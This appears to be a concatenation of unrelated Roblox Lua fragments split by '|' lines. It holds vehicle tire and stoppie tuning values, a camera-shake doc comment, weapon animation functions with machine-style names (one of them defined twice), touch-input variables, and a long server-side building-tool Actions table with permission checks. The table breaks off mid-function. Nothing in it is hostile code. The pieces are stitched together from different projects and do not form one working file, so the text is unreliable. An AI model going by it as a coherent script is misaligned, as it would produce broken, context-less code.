SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
-- Knit
|
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Knit = require(ReplicatedStorage:WaitForChild("Packages").Knit)
local Janitor = require( ReplicatedStorage.Util.Janitor )
local Promise = require( Knit.Util.Promise )
|
--------------------------------------------------------------------------
|
local _WHEELTUNE = {
--[[
SS6 Presets
[Eco]
WearSpeed = 1,
TargetFriction = .7,
MinFriction = .1,
[Road]
WearSpeed = 2,
TargetFriction = .7,
MinFriction = .1,
[Sport]
WearSpeed = 3,
TargetFriction = .79,
MinFriction = .1, ]]
TireWearOn = true ,
--Friction and Wear
FWearSpeed = .3 ,
FTargetFriction = 1.1 ,
FMinFriction = .5 ,
RWearSpeed = .3 ,
RTargetFriction = 1.1 ,
RMinFriction = .5 ,
--Tire Slip
TCSOffRatio = 1/3 ,
WheelLockRatio = 1/2 , --SS6 Default = 1/4
WheelspinRatio = 1/1.1 , --SS6 Default = 1/1.2
--Wheel Properties
FFrictionWeight = 1 , --SS6 Default = 1
RFrictionWeight = 1 , --SS6 Default = 1
FLgcyFrWeight = 10 ,
RLgcyFrWeight = 10 ,
FElasticity = 0 , --SS6 Default = .5
RElasticity = 0 , --SS6 Default = .5
FLgcyElasticity = 0 ,
RLgcyElasticity = 0 ,
FElastWeight = 1 , --SS6 Default = 1
RElastWeight = 1 , --SS6 Default = 1
FLgcyElWeight = 10 ,
RLgcyElWeight = 10 ,
--Wear Regen
RegenSpeed = 1.8 --SS6 Default = 3.6
}
|
-- Actual slider
|
local sliding = script.Parent.Slider.SliderBG.SliderActualy
|
--[=[
@param name string -- Name passed to `RunService:BindToRenderStep`
@param priority number -- Priority passed to `RunService:BindToRenderStep`
@param callbackFn UpdateCallbackFn
Bind the `Update` method to RenderStep.
All bond functions are cleaned up when the shake instance is stopped
or destroyed.
```lua
local renderPriority = Enum.RenderPriority.Camera.Value
local function SomeShake(pos: Vector3, rot: Vector3, completed: boolean)
-- Shake
end
shake:BindToRenderStep("SomeShake", renderPriority, SomeShake)
```
]=]
|
function Shake:BindToRenderStep(name: string, priority: number, callbackFn: UpdateCallbackFn)
self._trove:BindToRenderStep(name, priority, function()
callbackFn(self:Update())
end)
end
|
--// Animations
|
local L_119_
function IdleAnim(L_238_arg1)
L_21_.IdleAnim(L_3_, L_119_, {
L_26_,
L_27_,
L_28_
});
end;
function EquipAnim(L_239_arg1)
L_21_.EquipAnim(L_3_, L_119_, {
L_26_
});
end;
function UnequipAnim(L_240_arg1)
L_21_.UnequipAnim(L_3_, L_119_, {
L_26_
});
end;
function FireModeAnim(L_241_arg1)
L_21_.FireModeAnim(L_3_, L_119_, {
L_26_,
L_28_,
L_27_,
L_36_
});
end
function ReloadAnim(L_242_arg1)
L_21_.ReloadAnim(L_3_, L_119_, {
L_26_,
L_27_,
L_28_,
L_38_,
L_3_:WaitForChild('Left Arm'),
L_36_,
L_30_,
L_3_:WaitForChild('Right Arm'),
L_24_
});
end;
function BoltingBackAnim(L_243_arg1)
L_21_.BoltingBackAnim(L_3_, L_119_, {
L_30_
});
end
function BoltingForwardAnim(L_244_arg1)
L_21_.BoltingForwardAnim(L_3_, L_119_, {
L_30_
});
end
function BoltingForwardAnim(L_245_arg1)
L_21_.BoltingForwardAnim(L_3_, L_119_, {
L_30_
});
end
function BoltBackAnim(L_246_arg1)
L_21_.BoltBackAnim(L_3_, L_119_, {
L_30_,
L_28_,
L_27_,
L_26_,
L_39_
});
end
function BoltForwardAnim(L_247_arg1)
L_21_.BoltForwardAnim(L_3_, L_119_, {
L_30_,
L_28_,
L_27_,
L_26_,
L_39_
});
end
|
-- Interaction GUIs prompting user input
|
local InteractionButton = InteractionGui:WaitForChild("InteractionButton")
|
--Stoppie tune
|
local StoppieD = 15
local StoppieTq = 65
local StoppieP = 10
local StoppieMultiplier = 1
local StoppieDivider = 2
local clock = .0667 --How fast your wheelie script refreshes
|
-- Requires
|
local RecoilSimulator = require(script.RecoilSimulator)
local SpreadSimulator = require(script.SpreadSimulator)
|
--[[ Script Variables ]]
|
--
while not Players.LocalPlayer do
wait()
end
local LocalPlayer = Players.LocalPlayer
local IsFollowStick = false
local ThumbstickFrame = nil
local MoveTouchObject = nil
local OnTouchEnded = nil -- defined in Create()
local OnTouchMovedCn = nil
local OnTouchEndedCn = nil
local currentMoveVector = Vector3.new(0,0,0)
|
-- List of actions that could be requested
|
Actions = {
['RecolorHandle'] = function (NewColor)
-- Recolors the tool handle
Tool.Handle.BrickColor = NewColor;
end;
['Clone'] = function (Items, Parent)
-- Clones the given items
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Check if items modifiable
if not CanModifyItems(Items) then
return {}
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
if Security.ArePartsViolatingAreas(Parts, Player, false) then
return {}
end
local Clones = {}
-- Clone items
for _, Item in pairs(Items) do
local Clone = Item:Clone()
Clone.Parent = Parent
-- Register the clone
table.insert(Clones, Clone)
CreatedInstances[Item] = Item
end
-- Return the clones
return Clones
end;
['CreatePart'] = function (PartType, Position, Parent)
-- Creates a new part based on `PartType`
-- Validate requested parent
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Create the part
local NewPart = CreatePart(PartType);
-- Position the part
NewPart.CFrame = Position;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas({ NewPart }), Player);
-- Make sure the player is allowed to create parts in the area
if Security.ArePartsViolatingAreas({ NewPart }, Player, false, AreaPermissions) then
return;
end;
-- Parent the part
NewPart.Parent = Parent
-- Register the part
CreatedInstances[NewPart] = NewPart;
-- Return the part
return NewPart;
end;
['CreateGroup'] = function (Type, Parent, Items)
-- Creates a new group of type `Type`
local ValidGroupTypes = {
Model = true,
Folder = true
}
-- Validate arguments
assert(ValidGroupTypes[Type], 'Invalid group type')
assert(typeof(Parent) == 'Instance', 'Invalid parent')
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Check if items selectable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Create group
local Group = Instance.new(Type)
-- Attach children
for _, Item in pairs(Items) do
Item.Parent = Group
end
-- Parent group
Group.Parent = Parent
-- Make joints
if Type == 'Model' then
Group:MakeJoints()
elseif Type == 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Group, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
-- Return the new group
return Group
end,
['Ungroup'] = function (Groups)
-- Validate arguments
assert(type(Groups) == 'table', 'Invalid groups')
-- Check if items modifiable
if not CanModifyItems(Groups) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Groups)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
local Results = {}
-- Check each group
for Key, Group in ipairs(Groups) do
assert(typeof(Group) == 'Instance', 'Invalid group')
-- Track group children
local Children = {}
Results[Key] = Children
-- Unpack group children into parent
local NewParent = Group.Parent
for _, Child in pairs(Group:GetChildren()) do
LastParents[Child] = Group
Children[#Children + 1] = Child
Child.Parent = NewParent
if Child:IsA 'BasePart' then
Child:MakeJoints()
elseif Child:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Child, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
-- Track removing group
LastParents[Group] = Group.Parent
CreatedInstances[Group] = Group
-- Remove group
Group.Parent = nil
end
return Results
end,
['SetParent'] = function (Items, Parent)
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Parent) == 'table' or typeof(Parent) == 'Instance', 'Invalid parent')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Move each item to different parent
if type(Parent) == 'table' then
for Key, Item in pairs(Items) do
local Parent = Parent[Key]
-- Check if parent allowed
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Move item
Item.Parent = Parent
if Item:IsA 'BasePart' then
Item:MakeJoints()
elseif Item:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
-- Move to single parent
elseif typeof(Parent) == 'Instance' then
assert(Security.IsLocationAllowed(Parent, Player), 'Permission denied for client')
-- Reparent items
for _, Item in pairs(Items) do
Item.Parent = Parent
if Item:IsA 'BasePart' then
Item:MakeJoints()
elseif Item:IsA 'Folder' then
local Parts = Support.GetDescendantsWhichAreA(Item, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end
end
end,
['SetName'] = function (Items, Name)
-- Validate arguments
assert(type(Items) == 'table', 'Invalid items')
assert(type(Name) == 'table' or type(Name) == 'string', 'Invalid name')
-- Check if items modifiable
if not CanModifyItems(Items) then
return
end
-- Check if parts intruding into private areas
local Parts = GetPartsFromSelection(Items)
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player)
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return
end
-- Rename each item to a different name
if type(Name) == 'table' then
for Key, Item in pairs(Items) do
local Name = Name[Key]
Item.Name = Name
end
-- Rename to single name
elseif type(Name) == 'string' then
for _, Item in pairs(Items) do
Item.Name = Name
end
end
end,
['Remove'] = function (Objects)
-- Removes the given objects
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists
if Object then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
elseif Object:IsA 'Model' or Object:IsA 'Folder' then
Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart'))
end
end;
end;
-- Check if items modifiable
if not CanModifyItems(Objects) then
return
end
-- Check if parts intruding into private areas
if Security.ArePartsViolatingAreas(Parts, Player, true) then
return
end
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's current parent to `nil`
Object.Parent = nil;
end;
end;
['UndoRemove'] = function (Objects)
-- Restores the given removed objects to their last parents
-- Get the relevant parts for each object, for permission checking
local Parts = {};
-- Go through the selection
for _, Object in pairs(Objects) do
-- Make sure the object still exists, and that its last parent is registered
if Object and LastParents[Object] then
if Object:IsA 'BasePart' then
table.insert(Parts, Object);
elseif Object:IsA 'Smoke' or Object:IsA 'Fire' or Object:IsA 'Sparkles' or Object:IsA 'DataModelMesh' or Object:IsA 'Decal' or Object:IsA 'Texture' or Object:IsA 'Light' then
table.insert(Parts, Object.Parent);
elseif Object:IsA 'Model' or Object:IsA 'Folder' then
Support.ConcatTable(Parts, Support.GetDescendantsWhichAreA(Object, 'BasePart'))
end
end;
end;
-- Check if items modifiable
if not CanModifyItems(Objects) then
return
end
-- Check if parts intruding into private areas
if Security.ArePartsViolatingAreas(Parts, Player, false) then
return
end
-- After confirming permissions, perform each removal
for _, Object in pairs(Objects) do
-- Store the part's current parent
local LastParent = LastParents[Object];
LastParents[Object] = Object.Parent;
-- Register the object
CreatedInstances[Object] = Object;
-- Set the object's parent to the last parent
Object.Parent = LastParent;
-- Make joints
if Object:IsA 'BasePart' then
Object:MakeJoints()
else
local Parts = Support.GetDescendantsWhichAreA(Object, 'BasePart')
for _, Part in pairs(Parts) do
Part:MakeJoints()
end
end
end;
end;
['SyncMove'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
local Models = {}
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
elseif Change.Model then
table.insert(Models, Change.Model)
end
end;
-- Ensure parts are selectable
if not (CanModifyItems(Parts) and CanModifyItems(Models)) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local PartChangeSet = {}
local ModelChangeSet = {}
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = {
Anchored = Change.Part.Anchored;
CFrame = Change.Part.CFrame;
}
PartChangeSet[Change.Part] = Change
elseif Change.Model then
ModelChangeSet[Change.Model] = Change.Pivot
end
end;
-- Preserve joints
for Part, Change in pairs(PartChangeSet) do
Change.Joints = PreserveJoints(Part, PartChangeSet)
end;
-- Perform each change
for Part, Change in pairs(PartChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
for Model, Pivot in pairs(ModelChangeSet) do
Model.WorldPivot = Pivot
end
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(PartChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(PartChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncResize'] = function (Changes)
-- Updates parts server-side given their new sizes and CFrames
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = { Anchored = Change.Part.Anchored, Size = Change.Part.Size, CFrame = Change.Part.CFrame };
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's size and CFrame
Part.Size = Change.Size;
Part.CFrame = Change.CFrame;
end;
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(ChangeSet) do
Part.Size = Change.InitialState.Size;
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(ChangeSet) do
Part:MakeJoints();
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncRotate'] = function (Changes)
-- Updates parts server-side given their new CFrames
-- Grab a list of every part and model we're attempting to modify
local Parts = {};
local Models = {}
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
elseif Change.Model then
table.insert(Models, Change.Model)
end
end;
-- Ensure parts are selectable
if not (CanModifyItems(Parts) and CanModifyItems(Models)) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local PartChangeSet = {}
local ModelChangeSet = {}
for _, Change in pairs(Changes) do
if Change.Part then
Change.InitialState = {
Anchored = Change.Part.Anchored;
CFrame = Change.Part.CFrame;
}
PartChangeSet[Change.Part] = Change
elseif Change.Model then
ModelChangeSet[Change.Model] = Change.Pivot
end
end;
-- Preserve joints
for Part, Change in pairs(PartChangeSet) do
Change.Joints = PreserveJoints(Part, PartChangeSet)
end;
-- Perform each change
for Part, Change in pairs(PartChangeSet) do
-- Stabilize the parts and maintain the original anchor state
Part.Anchored = true;
Part:BreakJoints();
Part.Velocity = Vector3.new();
Part.RotVelocity = Vector3.new();
-- Set the part's CFrame
Part.CFrame = Change.CFrame;
end;
for Model, Pivot in pairs(ModelChangeSet) do
Model.WorldPivot = Pivot
end
-- Make sure the player is authorized to move parts into this area
if Security.ArePartsViolatingAreas(Parts, Player, false, AreaPermissions) then
-- Revert changes if unauthorized destination
for Part, Change in pairs(PartChangeSet) do
Part.CFrame = Change.InitialState.CFrame;
end;
end;
-- Restore the parts' original states
for Part, Change in pairs(PartChangeSet) do
Part:MakeJoints();
RestoreJoints(Change.Joints);
Part.Anchored = Change.InitialState.Anchored;
end;
end;
['SyncColor'] = function (Changes)
-- Updates parts server-side given their new colors
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Set the part's color
Part.Color = Change.Color;
-- If this part is a union, set its UsePartColor state
if Part.ClassName == 'UnionOperation' then
Part.UsePartColor = Change.UnionColoring;
end;
end;
end;
['SyncSurface'] = function (Changes)
-- Updates parts server-side given their new surfaces
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Perform each change
for Part, Change in pairs(ChangeSet) do
-- Apply each surface change
for Surface, SurfaceType in pairs(Change.Surfaces) do
Part[Surface .. 'Surface'] = SurfaceType;
end;
end;
end;
['CreateLights'] = function (Changes)
-- Creates lights in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Keep track of the newly created lights
local Lights = {};
-- Create each light
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedLightTypes[Change.LightType] then
-- Create the light
local Light = Instance.new(Change.LightType, Part);
table.insert(Lights, Light);
-- Register the light
CreatedInstances[Light] = Light;
end;
end;
-- Return the new lights
return Lights;
end;
['SyncLighting'] = function (Changes)
-- Updates aspects of the given selection's lights
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed light type requests
local AllowedLightTypes = { PointLight = true, SurfaceLight = true, SpotLight = true };
-- Update each part's lights
for Part, Change in pairs(ChangeSet) do
-- Make sure that the light type requested is valid
if AllowedLightTypes[Change.LightType] then
-- Grab the part's light
local Light = Support.GetChildOfClass(Part, Change.LightType);
-- Make sure the light exists
if Light then
-- Make the requested changes
if Change.Range ~= nil then
Light.Range = Change.Range;
end;
if Change.Brightness ~= nil then
Light.Brightness = Change.Brightness;
end;
if Change.Color ~= nil then
Light.Color = Change.Color;
end;
if Change.Shadows ~= nil then
Light.Shadows = Change.Shadows;
end;
if Change.Face ~= nil then
Light.Face = Change.Face;
end;
if Change.Angle ~= nil then
Light.Angle = Change.Angle;
end;
end;
end;
end;
end;
['CreateDecorations'] = function (Changes)
-- Creates decorations in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Keep track of the newly created decorations
local Decorations = {};
-- Create each decoration
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested decoration type is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Create the decoration
local Decoration = Instance.new(Change.DecorationType, Part);
table.insert(Decorations, Decoration);
-- Register the decoration
CreatedInstances[Decoration] = Decoration;
end;
end;
-- Return the new decorations
return Decorations;
end;
['SyncDecorate'] = function (Changes)
-- Updates aspects of the given selection's decorations
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed decoration type requests
local AllowedDecorationTypes = { Smoke = true, Fire = true, Sparkles = true };
-- Update each part's decorations
for Part, Change in pairs(ChangeSet) do
-- Make sure that the decoration type requested is valid
if AllowedDecorationTypes[Change.DecorationType] then
-- Grab the part's decoration
local Decoration = Support.GetChildOfClass(Part, Change.DecorationType);
-- Make sure the decoration exists
if Decoration then
-- Make the requested changes
if Change.Color ~= nil then
Decoration.Color = Change.Color;
end;
if Change.Opacity ~= nil then
Decoration.Opacity = Change.Opacity;
end;
if Change.RiseVelocity ~= nil then
Decoration.RiseVelocity = Change.RiseVelocity;
end;
if Change.Size ~= nil then
Decoration.Size = Change.Size;
end;
if Change.Heat ~= nil then
Decoration.Heat = Change.Heat;
end;
if Change.SecondaryColor ~= nil then
Decoration.SecondaryColor = Change.SecondaryColor;
end;
if Change.SparkleColor ~= nil then
Decoration.SparkleColor = Change.SparkleColor;
end;
end;
end;
end;
end;
['CreateMeshes'] = function (Changes)
-- Creates meshes in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Keep track of the newly created meshes
local Meshes = {};
-- Create each mesh
for Part, Change in pairs(ChangeSet) do
-- Create the mesh
local Mesh = Instance.new('SpecialMesh', Part);
table.insert(Meshes, Mesh);
-- Register the mesh
CreatedInstances[Mesh] = Mesh;
end;
-- Return the new meshes
return Meshes;
end;
['SyncMesh'] = function (Changes)
-- Updates aspects of the given selection's meshes
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Update each part's meshes
for Part, Change in pairs(ChangeSet) do
-- Grab the part's mesh
local Mesh = Support.GetChildOfClass(Part, 'SpecialMesh');
-- Make sure the mesh exists
if Mesh then
-- Make the requested changes
if Change.VertexColor ~= nil then
Mesh.VertexColor = Change.VertexColor;
end;
if Change.MeshType ~= nil then
Mesh.MeshType = Change.MeshType;
end;
if Change.Scale ~= nil then
Mesh.Scale = Change.Scale;
end;
if Change.Offset ~= nil then
Mesh.Offset = Change.Offset;
end;
if Change.MeshId ~= nil then
Mesh.MeshId = Change.MeshId;
end;
if Change.TextureId ~= nil then
Mesh.TextureId = Change.TextureId;
end;
end;
end;
end;
['CreateTextures'] = function (Changes)
-- Creates textures in the given parts
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Keep track of the newly created textures
local Textures = {};
-- Create each texture
for Part, Change in pairs(ChangeSet) do
-- Make sure the requested light type is valid
if AllowedTextureTypes[Change.TextureType] then
-- Create the texture
local Texture = Instance.new(Change.TextureType, Part);
Texture.Face = Change.Face;
table.insert(Textures, Texture);
-- Register the texture
CreatedInstances[Texture] = Texture;
end;
end;
-- Return the new textures
return Textures;
end;
['SyncTexture'] = function (Changes)
-- Updates aspects of the given selection's textures
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
local AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Parts), Player);
-- Make sure the player is allowed to perform changes to these parts
if Security.ArePartsViolatingAreas(Parts, Player, true, AreaPermissions) then
return;
end;
-- Reorganize the changes
local ChangeSet = {};
for _, Change in pairs(Changes) do
if Change.Part then
ChangeSet[Change.Part] = Change;
end;
end;
-- Make a list of allowed texture type requests
local AllowedTextureTypes = { Texture = true, Decal = true };
-- Update each part's textures
for Part, Change in pairs(ChangeSet) do
-- Make sure that the texture type requested is valid
if AllowedTextureTypes[Change.TextureType] then
-- Get the right textures within the part
for _, Texture in pairs(Part:GetChildren()) do
if Texture.ClassName == Change.TextureType and Texture.Face == Change.Face then
-- Perform the changes
if Change.Texture ~= nil then
Texture.Texture = Change.Texture;
end;
if Change.Transparency ~= nil then
Texture.Transparency = Change.Transparency;
end;
if Change.StudsPerTileU ~= nil then
Texture.StudsPerTileU = Change.StudsPerTileU;
end;
if Change.StudsPerTileV ~= nil then
Texture.StudsPerTileV = Change.StudsPerTileV;
end;
end;
end;
end;
end;
end;
['SyncAnchor'] = function (Changes)
-- Updates parts server-side given their new anchor status
-- Grab a list of every part we're attempting to modify
local Parts = {};
for _, Change in pairs(Changes) do
if Change.Part then
table.insert(Parts, Change.Part);
end;
end;
-- Ensure parts are selectable
if not CanModifyItems(Parts) then
return;
end;
-- Cache up permissions for all private areas
